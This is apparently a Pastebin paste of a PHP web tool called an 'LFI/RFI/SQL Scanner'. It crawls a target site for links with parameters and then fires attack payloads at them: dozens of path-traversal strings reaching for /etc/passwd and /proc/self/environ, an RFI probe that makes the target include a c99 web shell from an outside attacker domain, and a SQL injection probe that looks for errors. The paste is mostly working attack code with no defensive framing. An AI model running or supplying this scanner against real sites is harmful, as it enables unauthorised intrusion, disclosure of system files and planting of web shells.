Advertisement
Avatar_Fearless

s

Jul 17th, 2012
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.08 KB | None | 0 0
  1. <html>
  2. <head><title>LFI/RFI/SQL Scanner</title></head>
  3. <?php
  4. set_time_limit(0);
  5. if (isset($_GET["do"])) {
  6. $do = explode(":",$_GET["do"]);
  7. if ($do[0] == "selected") {selected($do[1]); }
  8. elseif ($do[0] == "scantime") { scantime($do[1]); }
  9.  
  10. } else { main(); }
  11.  
  12. function main(){
  13. echo 'LFI, RFI, SQL - Scanner
  14. <form action="" method="post">
  15. Site to test: <input name="scan" type="text" />
  16. <input type="submit" name="searchn" value="Scan"/>
  17. </form>';
  18. $link = $_POST['scan'];
  19. preg_match('@^(?:http://)?([^/]+)@i',$link, $matches);
  20. $host = $matches[1];
  21.  
  22. function getLinks($link) {
  23. $ret = array();
  24. $dom = new domDocument;
  25. @$dom->loadHTML(file_get_contents($link));
  26. $dom->preserveWhiteSpace = false;
  27. $links = $dom->getElementsByTagName('a');
  28. foreach ($links as $tag)
  29. {
  30. $ret[$tag->getAttribute('href')] = $tag->childNodes->item(0)->nodeValue;
  31. }
  32. return $ret;
  33. }
  34. if (isset($_POST["searchn"])) {
  35. echo '<form action="lfi.php?do=selected" method="post">';
  36. echo "<br>Links found: <ol>";
  37. if (preg_match("/=/", $link)) {
  38. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$link.'">'.$link.'<br>';
  39. }
  40. $urls = getLinks($link);
  41. if(sizeof($urls) > 0)
  42. {
  43. foreach($urls as $key=>$value)
  44. {
  45. if (preg_match("/=/i", $key)) {
  46. if (preg_match("/.com|.net|.org|.co.uk|.com.au|.us/", $key)) {
  47. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$key.'">'.$key.'<br>';
  48. }
  49. else{
  50. echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$host.'/'.$key.'">'.$host.'/'.$key.'<br>';
  51. }
  52. }
  53. }
  54. echo "</ol>";
  55. }
  56. else
  57. {
  58. echo "</ol>";
  59. echo "No exploitable links found at $link<br><br>";
  60. }
  61. echo "<input type='submit' value='Scan Sites'></form>";
  62. }
  63. }
  64.  
  65. function selected(){
  66. echo '<form action="lfi.php?do=scantime" method="post">';
  67. $sites = $_POST['sites'];
  68. $n = count($sites);
  69. $i = 0;
  70. $r = 1;
  71. echo "Testing.." .
  72. "<ol>";
  73. while ($i < $n)
  74. {
  75. $site = "{$sites[$i]}";
  76. $equals = strrpos($site,"=");
  77. $siteedit = substr_replace($site, '', $equals+1);
  78. echo "<br />$r. $siteedit<br />";
  79. rfi($siteedit);
  80. lfi($siteedit);
  81. sql($siteedit);
  82. $i++;
  83. $r++;
  84. }
  85. echo "</ol>";
  86. echo "<a href='lfi.php'>Test again</a>";
  87. }
  88.  
  89. function lfi($site) {
  90. $lfifound = 0;
  91. $lfi = array(
  92. "/etc/passwd",
  93. "../etc/passwd",
  94. "../../etc/passwd",
  95. "../../../etc/passwd",
  96. "../../../../etc/passwd",
  97. "../../../../../etc/passwd",
  98. "../../../../../../etc/passwd",
  99. "../../../../../../../etc/passwd",
  100. "../../../../../../../../etc/passwd",
  101. "../../../../../../../../../etc/passwd",
  102. "../../../../../../../../../../etc/passwd",
  103. "../../../../../../../../../../../etc/passwd",
  104. "../../../../../../../../../../../../etc/passwd",
  105. "../../../../../../../../../../../../../etc/passwd",
  106. "../../../../../../../../../../../../../../etc/passwd",
  107. "../../../../../../../../../../../../../../../etc/passwd",
  108. "/etc/passwd%00",
  109. "../etc/passwd%00",
  110. "../../etc/passwd%00",
  111. "../../../etc/passwd%00",
  112. "../../../../etc/passwd%00",
  113. "../../../../../etc/passwd%00",
  114. "../../../../../../etc/passwd%00",
  115. "../../../../../../../etc/passwd%00",
  116. "../../../../../../../../etc/passwd%00",
  117. "../../../../../../../../../etc/passwd%00",
  118. "../../../../../../../../../../etc/passwd%00",
  119. "../../../../../../../../../../../etc/passwd%00",
  120. "../../../../../../../../../../../../etc/passwd%00",
  121. "../../../../../../../../../../../../../etc/passwd%00",
  122. "../../../../../../../../../../../../../../etc/passwd%00",
  123. "../../../../../../../../../../../../../../../etc/passwd%00",
  124. "/proc/self/environ",
  125. "../proc/self/environ",
  126. "../../proc/self/environ",
  127. "../../../proc/self/environ",
  128. "../../../../proc/self/environ",
  129. "../../../../../proc/self/environ",
  130. "../../../../../../proc/self/environ",
  131. "../../../../../../../proc/self/environ",
  132. "../../../../../../../../proc/self/environ",
  133. "../../../../../../../../../proc/self/environ",
  134. "../../../../../../../../../../proc/self/environ",
  135. "/../../../../../../../../../../../proc/self/environ",
  136. "../../../../../../../../../../../../proc/self/environ",
  137. "../../../../../../../../../../../../../proc/self/environ",
  138. "../../../../../../../../../../../../../../proc/self/environ",
  139. "../../../../../../../../../../../../../../../proc/self/environ",
  140. "/proc/self/environ%00",
  141. "../proc/self/environ%00",
  142. "../../proc/self/environ%00",
  143. "../../../proc/self/environ%00",
  144. "../../../../proc/self/environ%00",
  145. "../../../../../proc/self/environ%00",
  146. "../../../../../../proc/self/environ%00",
  147. "../../../../../../../proc/self/environ%00",
  148. "../../../../../../../../proc/self/environ%00",
  149. "../../../../../../../../../proc/self/environ%00",
  150. "../../../../../../../../../../proc/self/environ%00",
  151. "/../../../../../../../../../../../proc/self/environ%00",
  152. "../../../../../../../../../../../../proc/self/environ%00",
  153. "../../../../../../../../../../../../../proc/self/environ%00",
  154. "../../../../../../../../../../../../../../proc/self/environ%00",
  155. "../../../../../../../../../../../../../../../proc/self/environ%00"
  156. );
  157.  
  158. $totallfi = count($lfi);
  159. for($i=0; $i<$totallfi; $i++)
  160. {
  161. $GET = @file_get_contents("$site$lfi[$i]");
  162. if (preg_match("/root/i",$GET, $matches)) {
  163. echo "LFI found: $site$lfi[$i]<br>";
  164. $lfifound = 1;
  165. }
  166. }
  167. if ($lfifound == 0) {
  168. echo "No LFI found.<br>";
  169. }
  170. }
  171.  
  172. function rfi($site) {
  173. $rfifound = 0;
  174. $rfi = "http://www.evilc0der.com/c99.txt?";
  175. $GET1 = @file_get_contents("$site$rfi");
  176. if (preg_match("/root/i",$GET1, $matches)) {
  177. echo "RFI found: $site$rfi<br>";
  178. $rfifound = 1;
  179. }
  180. if ($rfifound == 0) {
  181. echo "No RFI found.<br>";
  182. }
  183. }
  184.  
  185. function sql($site) {
  186. $sqlfound = 0;
  187. $sql = "99'";
  188. $GET2 = @file_get_contents("$site$sql");
  189. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET2, $matches)) {
  190. echo "SQL var: $site$sql<br>";
  191. $sqlfound = 1;
  192. }
  193. if ($sqlfound == 0) {
  194. echo "Sql Yok.<br>";
  195. }
  196. }
  197. ?>
  198. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement